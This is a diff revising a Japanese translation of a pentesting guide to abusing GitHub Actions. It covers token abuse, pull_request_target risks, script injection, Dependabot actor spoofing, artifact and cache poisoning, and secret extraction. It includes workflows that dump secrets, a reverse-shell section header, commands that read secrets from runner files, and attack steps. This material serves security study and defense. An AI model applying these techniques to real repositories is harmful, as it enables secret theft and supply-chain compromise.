diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index ac898e5f1..4e7a32485 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,55 +4,55 @@
 
 ## ツール
 
-次のツールは、Github Actionのワークフローを見つけたり、脆弱なものを発見するのに便利です：
+以下のツールはGithub Actionのワークフローを見つけ、脆弱なものを検出するのに便利です:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - チェックリストは [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) も参照してください
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## 基本情報
 
-このページでは以下を扱います：
+このページには次の内容が含まれます:
 
 - 攻撃者がGithub Actionにアクセスした場合の**すべての影響の要約**
-- アクションに**アクセスするさまざまな方法**:
-- アクションを作成するための**権限**を持つこと
-- **pull request**関連のトリガーを悪用する
-- その他の**外部アクセス**技術を悪用する
+- Actionに**アクセスする方法**:
+- Actionを作成するための**権限**を持っていること
+- **pull request**関連のトリガーを悪用すること
+- その他の**外部アクセス**手法を悪用すること
 - 既に侵害されたリポジトリからの**Pivoting**
-- 最後に、アクションの内部から悪用するための**post-exploitation techniques**に関するセクション（前述の影響を引き起こす）
+- 最後に、Action内部から悪用するための**post-exploitation techniques**に関するセクション（上記の影響を引き起こす）
 
 ## 影響の概要
 
-導入としては[**Github Actions の基本情報を確認してください**](../basic-github-information.md#github-actions)。
+For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-もしリポジトリ内で**GitHub Actions上で任意のコードを実行できる**なら、次のことが可能になるかもしれません：
+リポジトリ内で**GitHub Actionsで任意のコードを実行できる**場合、次のことが可能になるかもしれません:
 
-- パイプラインにマウントされた**secretsを盗み**、パイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームに不正アクセスする。
-- デプロイを**侵害**し、その他の**artifacts**も影響を受ける。
-- パイプラインがアセットをデプロイまたは保存している場合、最終製品を改変でき、サプライチェーン攻撃を可能にする。
-- カスタムワーカーで**コードを実行**し、計算資源を悪用して他のシステムへpivotする。
-- `GITHUB_TOKEN` に関連する権限によっては、リポジトリのコードを**上書き**することができる。
+- パイプラインにマウントされた**秘密情報を盗む**とともに、パイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームへの不正アクセスを得ることができる。
+- **デプロイメントを侵害する**およびその他の**アーティファクト**を改ざんできる。
+- パイプラインがアセットをデプロイまたは保存している場合、最終製品を改変してサプライチェーン攻撃を可能にすることができる。
+- **カスタムワーカー上でコードを実行する**ことで計算リソースを悪用し、他のシステムへPivotすることができる。
+- `GITHUB_TOKEN`に紐づく権限に応じて、**リポジトリのコードを上書きする**ことが可能です。
 
 ## GITHUB_TOKEN
 
-この「**secret**」（`${{ secrets.GITHUB_TOKEN }}` と `${{ github.token }}` から提供される）は、管理者がこのオプションを有効にしたときに付与されます：
+この"secret"（`${{ secrets.GITHUB_TOKEN }}` および `${{ github.token }}` から取得）は、管理者がこのオプションを有効にしたときに付与されます:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
 このトークンは**Github Applicationが使用するものと同じ**ため、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github は [**flow**](https://github.com/github/roadmap/issues/74) をリリースすべきで、GitHub内で**クロスリポジトリ**アクセスを許可し、リポジトリが `GITHUB_TOKEN` を使用して他の内部リポジトリにアクセスできるようにする。
+> Githubは[**flow**](https://github.com/github/roadmap/issues/74)を公開し、GitHub内で**リポジトリ間アクセスを許可**するようにするべきです。これにより、あるリポジトリが`GITHUB_TOKEN`を使って他の内部リポジトリにアクセスできるようになります。
 
 このトークンの可能な**権限**は次で確認できます: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-このトークンは**ジョブ完了後に有効期限切れになる**点に注意してください。\
-これらのトークンは次のような形式です: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+注意: このトークンは**ジョブ完了後に失効する**ことに注意してください.\
+これらのトークンは次のようになります: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-このトークンでできる興味深いこと:
+このトークンでできることの例:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> いくつかの場面で、**github user tokens inside Github Actions envs or in the secrets** を見つけられることがあります。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
+> いくつかの場合に、**github user tokens inside Github Actions envs or in the secrets** を見つけられることがあります。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
 
 <details>
 
-<summary>Github Action の出力に含まれる secrets を一覧表示</summary>
+<summary>Github Action の出力にある secrets を一覧表示する</summary>
 ```yaml
 name: list_env
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-別のユーザーのリポジトリに対して与えられている Github Token の権限は、actions のログを確認することでチェックできます **checking the logs**:
+他のユーザのリポジトリでGithub Tokenに付与された権限は、actionsの**checking the logs**で確認できます:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Allowed Execution
 
 > [!NOTE]
-> これは Github actions を侵害する最も簡単な方法です。というのも、このケースはあなたが **create a new repo in the organization** できるか、または **write privileges over a repository** を持っていることを前提としているからです。
+> これはGithub actionsを侵害する最も簡単な方法です。このケースは、あなたが**create a new repo in the organization**する権限、またはリポジトリに対する**write privileges over a repository**を持っていることを想定しています。
 >
-> このような状況にある場合、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) を確認してください。
+> この状況にある場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認してください。
 
 ### Execution from Repo Creation
 
-組織のメンバーが **create new repos** でき、かつあなたが github actions を実行できる場合、**create a new repo and steal the secrets set at organization level** ことができます。
+組織のメンバーが**create new repos**でき、かつあなたがgithub actionsを実行できる場合、**create a new repo and steal the secrets set at organization level**ことが可能です。
 
 ### Execution from a New Branch
 
-既に Github Action が設定されているリポジトリに **create a new branch** できる場合、それを **modify** し、コンテンツを **upload** して、その新しいブランチからそのアクションを **execute** できます。こうしてリポジトリおよび組織レベルのsecretsを **exfiltrate** できます（ただし、secrets がどのように呼ばれているかを知っている必要があります）。
+既にGithub Actionが設定されているリポジトリで**create a new branch in a repository that already contains a Github Action**ことができれば、それを**modify**し、コンテンツを**upload**してから、**execute that action from the new branch**できます。こうして**exfiltrate repository and organization level secrets**（ただしそれらがどの名前で設定されているかを知っている必要があります）。
 
 > [!WARNING]
-> ワークフロー YAML の内部だけで実装された制限（例えば、`on: push: branches: [main]`、job の条件式、または手動ゲート）はコラボレーターによって編集可能です。外部による強制（branch protections、protected environments、protected tags）がなければ、寄稿者はワークフローを自分のブランチで動作するようにリターゲットし、マウントされた secrets/permissions を悪用できます。
+> workflow YAML内だけに実装された制限（例えば、`on: push: branches: [main]`、ジョブの条件式、または手動ゲート）はコラボレーターによって編集可能です。外部からの強制（branch protections、protected environments、protected tags）がなければ、貢献者はワークフローのターゲットを自分のブランチに向け直して、マウントされたsecrets/permissionsを悪用できます。
 
-改変したアクションは、手動で、**PR が作成されたとき**や**コードがプッシュされたとき**に実行可能にできます（どれだけ目立ちたいかによります）：
+修正したactionは、**manually,** **PR is created**時、または**some code is pushed**時に実行可能にできます（どれだけ目立ちたくないかによります）：
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -183,40 +183,40 @@ branches:
 ## フォークされた実行
 
 > [!NOTE]
-> 攻撃者が**別のリポジトリの Github Action を実行する**ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に構成されていると、攻撃者はそれらを悪用できる可能性があります。
+> 攻撃者が**別のリポジトリの Github Action を実行する**ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に設定されていると、攻撃者がそれらを侵害する可能性があります。
 
 ### `pull_request`
 
-ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストを受け取るたびにワークフローを実行します。デフォルトでは**初回**のコラボレーションの場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります:
+ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストが受信されるたびにワークフローを実行します：デフォルトでは、**初めて**コラボレーションする場合、プロジェクトの**メンテナー**がワークフローの**実行**を**承認**する必要があります：
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> デフォルトの制限は**初回の貢献者**に対するものなので、正当なバグ修正やタイポ修正で貢献した後に、**新たに得た `pull_request` 権限を悪用するための別の PR を送る**ことが可能になります。
+> デフォルトの制限は**初回の**コントリビューターに対するものなので、妥当なバグやタイプミスの修正で貢献した後に、**新しい `pull_request` 権限を悪用するための別の PR を送る**ことが可能になる場合があります。
 >
-> **私はこれを試しましたがうまくいきませんでした**: ~~別の選択肢としては、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除する、という方法が考えられます。~~
+> **私はこれを試しましたが動きませんでした**: ~~プロジェクトに貢献した誰かの名前でアカウントを作成し、その人のアカウントを削除するという別の選択肢があるかもしれません。~~
 
-さらに、デフォルトでは対象リポジトリへの**書き込み権限の付与**と**シークレットへのアクセス**を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)を参照してください:
+さらに、デフォルトではターゲットリポジトリへの**書き込み権限**と**secrets へのアクセス**を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています：
 
-> `GITHUB_TOKEN` を除き、ワークフローが**フォークされたリポジトリ**からトリガーされた場合、**シークレットはランナーに渡されません**。**`GITHUB_TOKEN` はフォークされたリポジトリからの pull request では読み取り専用の権限を持ちます。**
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-攻撃者は Github Action の定義を変更して任意の処理を実行したり任意のアクションを追加したりすることができます。しかし、前述の制限によりシークレットを盗んだりリポジトリを書き換えたりすることはできません。
+攻撃者は Github Action の定義を変更して任意の処理を実行したり、任意のアクションを追加したりすることができます。しかし、前述の制限により、secrets を盗んだりリポジトリを上書きしたりすることはできません。
 
 > [!CAUTION]
-> **はい、もし攻撃者が PR でトリガーされる Github Action を変更した場合、使用されるのは元リポジトリのものではなく攻撃者の Github Action になります！**
+> **はい、攻撃者がPR内でトリガーされる github action を変更した場合、使用されるのは元リポジトリのものではなく攻撃者の Github Action になります！**
 
-攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN` にシークレットや書き込み権限がなくても、例えば**悪意あるアーティファクトをアップロードする**ことが可能です。
+実行されるコードも攻撃者が制御しているため、`GITHUB_TOKEN` に secrets や書き込み権限が無くても、例えば**悪意のあるアーティファクトをアップロードする**ことが可能です。
 
 ### **`pull_request_target`**
 
-ワークフロートリガー **`pull_request_target`** は対象リポジトリへの**書き込み権限**と**シークレットへのアクセス**を持ちます（権限承認を求められません）。
+ワークフロートリガー **`pull_request_target`** はターゲットリポジトリへの**書き込み権限**と**secrets へのアクセス**を持ち（許可を求めません）。
 
-ワークフロートリガー **`pull_request_target`** は **ベースのコンテキストで実行され**、PR 側のコンテキストでは実行されないことに注意してください（**信頼できないコードを実行しないため**）。`pull_request_target` の詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)を参照してください。\
+ワークフロートリガー **`pull_request_target`** は**base context で実行され**、PR が与えるコンテキストでは実行されません（**信頼できないコードを実行しないため**）。`pull_request_target` の詳細は[**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)を参照してください。\
 さらに、この特定の危険な使用法については[**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。
 
-ベースで定義されたワークフローが実行され**PR 内のものではない**ため、**`pull_request_target` の使用は安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
+実行されるワークフローが**base**で定義されたもので**PR内のものではない**ため、**`pull_request_target`** を使うことは安全に見えるかもしれませんが、そうではないケースがいくつかあります。
 
-そしてこちらは**シークレットへのアクセス**を持ちます。
+こちらは**secrets へのアクセス**を持ちます。
 
 ### `workflow_run`
 
@@ -230,29 +230,28 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
+さらに、ドキュメントによると: `workflow_run` イベントで開始されたワークフローは、前のワークフローがそうでなくても **secrets にアクセスし、write tokens を使用することができる** とされています。
 
-この種類の workflow は、外部ユーザーが **`pull_request`** または **`pull_request_target`** 経由でトリガーできる **workflow** に依存している場合、攻撃される可能性があります。いくつかの脆弱な例は [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 最初の例は **`workflow_run`** によってトリガーされた workflow が攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\
-2つ目の例は、**untrusted** コードから **artifact** を **`workflow_run`** ワークフローに渡し、そのアーティファクトの内容を RCE に対して **vulnerable** になるように使用するものです。
+この種のワークフローは、外部ユーザーが **`pull_request`** または **`pull_request_target`** を介して **トリガーできる** **workflow** に **依存している** 場合、攻撃対象になり得ます。いくつかの脆弱な例は [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 最初の例は、`workflow_run` トリガーのワークフローが攻撃者のコード `${{ github.event.pull_request.head.sha }}` をダウンロードするものです。二つ目の例は、**untrusted** コードからの **artifact** を **`workflow_run`** ワークフローに **渡し**、そのアーティファクトの内容を RCE に **脆弱な方法で使用する**ものです。
 
 ### `workflow_call`
 
 TODO
 
-TODO: pull_request から実行されたとき、使用/ダウンロードされるコードがオリジナルのリポジトリのものか、フォークされた PR のものかを確認する
+TODO: pull_request から実行されたときに、使用／ダウンロードされるコードが元リポジトリのものかフォークされた PR のものかを確認する
 
-## Abusing Forked Execution
+## フォーク実行の悪用
 
-外部攻撃者が github workflow を実行させることができる方法については既に述べました。次に、これらの実行が不適切に設定されている場合にどのように悪用され得るかを見てみましょう:
+外部攻撃者が github ワークフローを実行させる方法はすべて述べました。ここでは、これらの実行が不適切に設定されている場合にどのように悪用され得るかを見ていきます:
 
-### Untrusted checkout execution
+### Untrusted checkout の実行
 
-`pull_request` の場合、workflow は **PR のコンテキスト** で実行されます（つまり **malicious PR のコード** が実行されます）が、誰かが **まずそれを authorize する必要があり**、[limitations](#pull_request) が適用されます。
+`pull_request` の場合、ワークフローは PR のコンテキストで実行されます（つまり悪意ある PR のコードが実行されます）が、誰かが事前に承認する必要があり、いくつかの [limitations](#pull_request) の下で実行されます。
 
-`pull_request_target` または `workflow_run` を使用する workflow で、`pull_request_target` や `pull_request` からトリガー可能な workflow に依存している場合は、オリジナルリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
+もしワークフローが **`pull_request_target` or `workflow_run`** を使い、`pull_request_target` や `pull_request` からトリガー可能なワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
 
 > [!CAUTION]
-> ただし、もしその **action** が **明示的な PR checkout** を行い **PR からコードを取得する**（base ではなく）場合、攻撃者が制御するコードが使用されます。例えば（行12で PR のコードがダウンロードされているのを確認してください）:
+> ただし、もしその **action** が **明示的な PR checkout** を行い **PR からコードを取得する**（base からではない）場合、攻撃者が制御するコードが使用されます。例えば（PR のコードがダウンロードされる行 12 を確認してください）:
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -282,14 +281,14 @@ message: |
 Thank you!
 </code></pre>
 
-潜在的に **untrusted なコードが `npm install` や `npm build` の実行中に走る** ことになります。build スクリプトや参照される **packages は PR の作成者によって制御されている**ためです。
+ビルドスクリプトや参照される **packages** は PR の作成者によって制御されるため、`npm install` や `npm build` の実行中に潜在的に **untrusted code が実行されます**。
 
 > [!WARNING]
-> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` ですが、action が insecure に設定されていても、ジョブを安全に実行するように設定する方法はいくつかあります（例えば PR を作成した actor に関する条件分岐を使うなど）。
+> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` ですが、action が不適切に設定されていても、ジョブを安全に実行するように設定する方法はいくつかあります（例えば PR を作成する actor に関する条件を使うなど）。
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+PR を作成する **ユーザー** によって値が **制御される** 特定の [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) がある点に注意してください。もし github action がその **data を使って何かを実行する** と、任意のコード実行につながる可能性があります:
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +296,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+ドキュメントによると: 環境変数を定義または更新し、それを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの以降の任意のステップでその **環境変数を利用可能にできます**。
 
-もし攻撃者がこの **env** 変数に任意の値を **inject** できるなら、後続のステップでコードを実行させ得るような env 変数（例えば **LD_PRELOAD** や **NODE_OPTIONS**）を注入できます。
+攻撃者がこの **env** 変数に **任意の値を注入できる** 場合、以降のステップでコードを実行させるような環境変数（例: **LD_PRELOAD** や **NODE_OPTIONS**）を注入できる可能性があります。
 
-例えば（[**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) を参照）、アップロードされた artifact の内容を **`GITHUB_ENV`** に格納することを信頼している workflow を想像してください。攻撃者はそれを悪用するために次のようなものをアップロードできます:
+例えば（[**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)）、アップロードされた artifact の内容を **`GITHUB_ENV`** 環境変数に格納することを信頼しているワークフローを想像してください。攻撃者はそれを悪用するためにこのようなものをアップロードできます:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot and other trusted bots
 
-As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
+[**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) に示されているように、いくつかの組織は `dependabot[bot]` からの PR をマージする Github Action を持っており、次のようなケースがあります:
 ```yaml
 on: pull_request_target
 jobs:
@@ -319,12 +318,12 @@ steps:
 ```
 Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
 
-- 標的リポジトリをフォークする
-- 自分のコピーに悪意あるペイロードを追加する
-- フォークでDependabotを有効にし、古い依存関係を追加する。Dependabotはその依存関係を修正するブランチを作成し、そこに悪意あるコードが入っている
-- そのブランチから標的リポジトリにPull Requestを作成する（PRはユーザーによって作成されるため、まだ何も起こらない）
-- その後、攻撃者は自分のフォークでDependabotが最初に作成したPRに戻り、`@dependabot recreate` を実行する
-- すると、Dependabotはそのブランチでいくつかの操作を行い、標的リポジトリ上のPRが変更される。その結果、最新のイベントのアクターが `dependabot[bot]` になり（したがってワークフローが実行される）
+- Fork the victim repository
+- Add the malicious payload to your copy
+- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
+- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
+- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
+- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
 
 Moving on, what if instead of merging the Github Action would have a command injection like in:
 ```yaml
@@ -336,24 +335,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Well, the original blogpost proposes two options to abuse this behavior being the second one:
+元のブログ記事はこの挙動を悪用するための2つの方法を提案しており、以下はそのうちの2つ目です：
 
-- 被害者のリポジトリをフォークし、古い依存関係で Dependabot を有効にする。
-- 悪意のある shell injection コードを含む新しいブランチを作成する。
-- リポジトリのデフォルトブランチをそれに変更する。
-- このブランチから被害者のリポジトリへ PR を作成する。
-- 彼のフォークで Dependabot が開いた PR 内で `@dependabot merge` を実行する。
-- Dependabot はフォークしたリポジトリのデフォルトブランチに変更をマージし、被害者リポジトリの PR を更新する。これにより、ワークフローをトリガーした最新イベントのアクターが `dependabot[bot]` になり、悪意のあるブランチ名が使用される。
+- 被害者のリポジトリを Fork し、古い依存関係を持つよう Dependabot を有効にする。
+- 悪意ある shell injection コードを含む新しい branch を作成する。
+- その branch をリポジトリの default branch に変更する。
+- この branch から被害者リポジトリへ PR を作成する。
+- Fork に Dependabot が開いた PR で `@dependabot merge` を実行する。
+- Dependabot はフォークしたリポジトリの default branch に変更をマージし、被害者リポジトリ側の PR を更新する。これにより、ワークフローをトリガーした最新イベントの actor が `dependabot[bot]` になり、悪意あるブランチ名が使われる。
 
 ### 脆弱なサードパーティの Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+前述の [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で説明されているように、この Github Action は別のワークフローやリポジトリの artifacts にアクセスすることを許可する。
 
-問題は、**`path`** パラメータが設定されていない場合、artifact がカレントディレクトリに展開され、後でワークフロー内で使用されたり実行されたりする可能性のあるファイルを上書きしてしまう点です。したがって、Artifact が脆弱であれば、攻撃者はこれを悪用して Artifact を信頼する他のワークフローを侵害することができます。
+問題は、**`path`** パラメータが設定されていない場合、artifact がカレントディレクトリに展開され、ワークフロー内で後に使用されたり実行されたりする可能性のあるファイルを上書きしてしまう点にある。したがって、Artifact が脆弱な場合、攻撃者はこれを悪用してその Artifact を信頼する他のワークフローを侵害できる可能性がある。
 
-Example of vulnerable workflow:
+脆弱なワークフローの例：
 ```yaml
 on:
 workflow_run:
@@ -397,23 +396,23 @@ path: ./script.py
 
 ### Deleted Namespace Repo Hijacking
 
-アカウントが名前を変更すると、しばらくして別のユーザがその名前でアカウントを登録できる可能性があります。リポジトリが**less than 100 stars previously to the change of name**だった場合、Github は同じ名前を持つ新しいユーザが削除されたものと同じ**repository with the same name**を作成することを許可します。
+アカウントが名前を変更すると、しばらく経ってから他のユーザーがその名前でアカウントを登録できる可能性があります。もし repository が名前変更前に **less than 100 stars previously to the change of name** だった場合、Github は同じ名前で登録した新しいユーザーに、削除されたものと **同じ名前の repository を作成**することを許可します。
 
 > [!CAUTION]
-> したがって、ある action が存在しないアカウントの repo を参照している場合でも、攻撃者がそのアカウントを作成して action を compromise する可能性があります。
+> したがって、action が存在しないアカウントの repo を使用している場合、攻撃者がそのアカウントを作成して action を侵害する可能性があります。
 
-もし他のリポジトリがこのユーザの repos からの **dependencies** を利用していた場合、攻撃者はそれらをハイジャックできるようになります。詳しい説明はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+もし他の repository がこのユーザーの repo からの **dependencies** を使用していた場合、攻撃者はそれらをハイジャックすることができます。詳しい説明はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> このセクションでは、最初の repo に何らかのアクセスがあると仮定して、**pivot from one repo to another** を可能にする技術について説明します（前のセクションを参照してください）。
+> このセクションでは、最初の repo に何らかのアクセス権があると仮定して、ある repo から別の repo に **pivot from one repo to another** ことを可能にする技術について説明します（前のセクションを参照）。
 
 ### Cache Poisoning
 
-A cache is maintained between **wokflow runs in the same branch**。つまり、攻撃者が**compromise**した**package**をキャッシュに保存し、その後より権限の高い workflow によって**downloaded**および実行されると、その workflow も**compromise**される可能性があります。
+同一 branch 内の **workflow runs** 間で cache が維持されます。つまり、攻撃者が cache に保存され、その後 **more privileged** な workflow によって **downloaded** され実行される **package** を **compromise** できれば、その workflow も **compromise** されます。
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +420,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Workflows は **artifacts from other workflows and even repos** を利用することがあります。攻撃者が後で別の workflow によって使用される artifact を **uploads an artifact** する Github Action を**compromise**できれば、別の workflow も**compromise**する可能性があります:
+Workflows は **artifacts from other workflows and even repos** を使うことがあります。攻撃者が後で別の workflow によって使用される artifact を **uploads an artifact** する Github Action を **compromise** できれば、他の workflows も **compromise** することができます:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,7 +432,7 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-[**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) で述べられているように、リポジトリや組織が特定の actions の利用を制限するポリシーを持っていても、攻撃者は単にワークフロー内で action をクローン（`git clone`）してローカル action として参照することができます。ポリシーはローカルパスに影響しないため、**その action は制限なしに実行されます。**
+このことは [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) で説明されているように、repository や organization が特定の actions の使用を制限する policy を設定していても、攻撃者は workflow 内で action を単に download（`git clone`）して、それを local action として参照することができます。policy は local paths に影響を与えないため、**その action は何の制限もなく実行されます。**
 
 Example:
 ```yaml
@@ -456,9 +455,9 @@ path: gha-hazmat
 
 - run: ls tmp/checkout
 ```
-### OIDC 経由での AWS と GCP へのアクセス
+### OIDCを介したAWSとGCPへのアクセス
 
-次のページを確認してください:
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -468,15 +467,15 @@ path: gha-hazmat
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### 秘密へのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
+### secretsへのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-スクリプトにコンテンツを注入する場合、シークレットへどのようにアクセスできるかを知っておくと役に立ちます:
+スクリプトにコンテンツを注入している場合、secrets にどのようにアクセスできるかを知っておくと役立ちます：
 
-- シークレットやトークンが **環境変数** に設定されている場合、**`printenv`** を使って環境から直接取得できます。
+- secret または token が **環境変数** に設定されている場合、**`printenv`** を使って環境から直接アクセスできます。
 
 <details>
 
-<summary>Github Action の出力にシークレットを一覧表示</summary>
+<summary>Github Action の出力で secrets を一覧表示</summary>
 ```yaml
 name: list_env
 on:
@@ -503,7 +502,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>secrets を使って reverse shell を取得する</summary>
+<summary>secretsを使ってreverse shellを取得する</summary>
 ```yaml
 name: revshell
 on:
@@ -526,15 +525,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- secretが**直接式で使用される**場合、生成されたシェルスクリプトは**ディスク上に保存**され、アクセス可能になります。
+- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- JavaScript actionsの場合、secretsは環境変数を通して渡されます
+- For a JavaScript action the secrets are sent through environment variables
 - ```bash
 ps axe | grep node
 ```
-- For a **custom action**, プログラムが**argument**から取得したsecretをどのように使用するかによってリスクは異なります:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +541,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
